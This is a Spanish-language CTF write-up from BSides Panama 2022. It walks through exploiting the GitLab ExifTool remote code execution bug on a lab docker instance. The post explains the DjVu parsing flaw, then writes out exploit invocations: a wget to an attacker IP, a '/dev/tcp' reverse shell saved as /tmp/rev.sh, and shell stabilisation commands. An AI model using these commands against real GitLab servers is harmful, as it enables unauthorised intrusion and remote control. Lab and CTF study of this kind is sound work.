El Bsides Panama 2022 termino hace un par de semanas atrás y el equipo de Toad Security logro participar en el CTF organizado por Oydia ocupando los primeros puestos. Durante el CTF exploramos todo tipo de servidores con vulnerabilidades que estaremos presentando en los siguientes post, una de ellas fue la de Gitlab Exiftool RCE que estaremos desarrollando en este primer Writeup describiendo la vulnerabilidad.

Bsides 2021

Si quieres practicar esta vulnerabilidad sobre un Gitlab controlado o de laboratorio puedes instalar un ambiente docker con el siguiente comando y que estaremos utilizando para desarrollar este post.

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.10.2-ce.0

Entremos al infierno

Si quieres explotar una vulnerabilidad de Gitlab lo primero que debes mirar es si ya William Bowling (vakzz) lo ha explotado. En hackerone ha logrado tener buena paga encontrado vulnerabilidades en Gitlab y de alguna manera se ha obsesionado con ello, podemos mirarlo en su perfil y ver el recorrido que ha tenido de bug bounty en hackerone.

Perfil en Hackerone

https://hackerone.com/vakzz?type=user

image-20220210205634987

Durante el CTF fue lo que hice, buscar una vulnerabilidad explotable para Gitlab y me encontré con tremendo arsenal.

La vulnerabilidad explotada fue la Exiftool que removiendo la metada de las imagenes una vez son cargadas en gitlab permite tener un RCE, es importante que para explotar la vulnerabilidad tengamos un usuario registrado en la plataforma, no necesariamente tenemos que tener el administrador o estar confirmado.

Exactamente que es lo que ocurre

Cuando se suben archivos de imagen, GitLab Workhorse pasa cualquier archivo con las extensiones jpg|jpeg|tiff a ExifTool para eliminar cualquier etiqueta que no esté en la lista blanca. Un problema con esto es que ExifTool ignorará la extensión del archivo y tratará de determinar lo que es el archivo basado en el contenido, permitiendo que cualquiera de los analizadores soportados sea golpeado en lugar de sólo JPEG y TIFF con sólo cambiar el nombre del archivo subido. Uno de los formatos soportados es DjVu, al analizar la anotación DjVu, los tokens se evalúan para “convertir las secuencias de escape C”.

Explotemos el agujero negro

Para esta prueba de concepto nos creamos un usuario registrándonos en la aplicación de gitlab , a pesar que nos genere el mensaje que debe ser aprobado por un administrador nos funciona para aprovecharnos de la vulnerabilidad.

image-20220211061653471

Clonamos el repostorio para descargar el exploit con el siguiente comando

  • git clone https://github.com/CsEnox/Gitlab-Exiftool-RCE.git

Primera prueba de concepto del exploit

Ejecutamos un mini server con python3 para verificar la comunicación entre la victima y nuestro servidor que vamos recibir la conexión reverse atreves de nuestro backdoor.

  • python3 -m http.server 8086 ( el puerto puede ser cualquiera que este disponible)
  • Creamos un archivo de prueba con el comando touch prueba.txt, una vez accedido remotamente el servidor nos retornara un estatus 200 que ha logrado acceder al URL.

image-20220223124139019

Ejecutamos el exploit utilizando nuestro usuarios registrado

python3 exploit.py -root2 -p root12345 -c "wget http://192.168.0.15:8086/prueba.txt" http://localhost

image-20220223124329515

Validamos que la conexión es exitosa y que estamos ejecutando comandos remotos en el servidor descargando nuestro archivo prueba.txt colocado en nuestro servidor

Procedemos a crear un script que nos permita crear una conexión reverse a nuestro equipo.

  • Creamos nuestro archivo rev.sh con el contenido de generar una conexión reversa a nuestro equipo por el puerto 4444 apuntado a nuestra dirección 192.168.0.15, guardamos el archivo en el directorio temp donde se puede llevar acabo ejecución de comandos y guardar archivos.
  • python3 exploit.py -u root2 -p root123456 -c "echo 'sh -i >& /dev/tcp/192.168.0.15/4444 0>&1' > /tmp/rev.sh" -t http://localhost

image-20220223125021528

Una vez descargado nuestro backdoor rev.sh en tmp, procedemos a colocar nuestro permiso de ejecución con el siguiente comando:

  • python3 exploit.py -u root2 -p root123456 -c "chmod +x /tmp/rev.sh" -t http://localhost

image-20220223125331645

Ahora solo tenemos que colocarnos en escucha en el puerto 4444 en nuestro servidor y atraves del exploit ejecutar nuestro exploit rev.sh ubicado en el directorio temporal.

  • python3 -c 'import pty;pty.spawn("/bin/bash")' para una mejor interacción con la terminal

image-20220223130021041

Tratamiento de la shell como dice el tio s4vitar

echo "script /dev/null -c bash" > input
stty raw -echo; fg 
reset xterm

image-20220223130214314

Espero que lo disfrutes!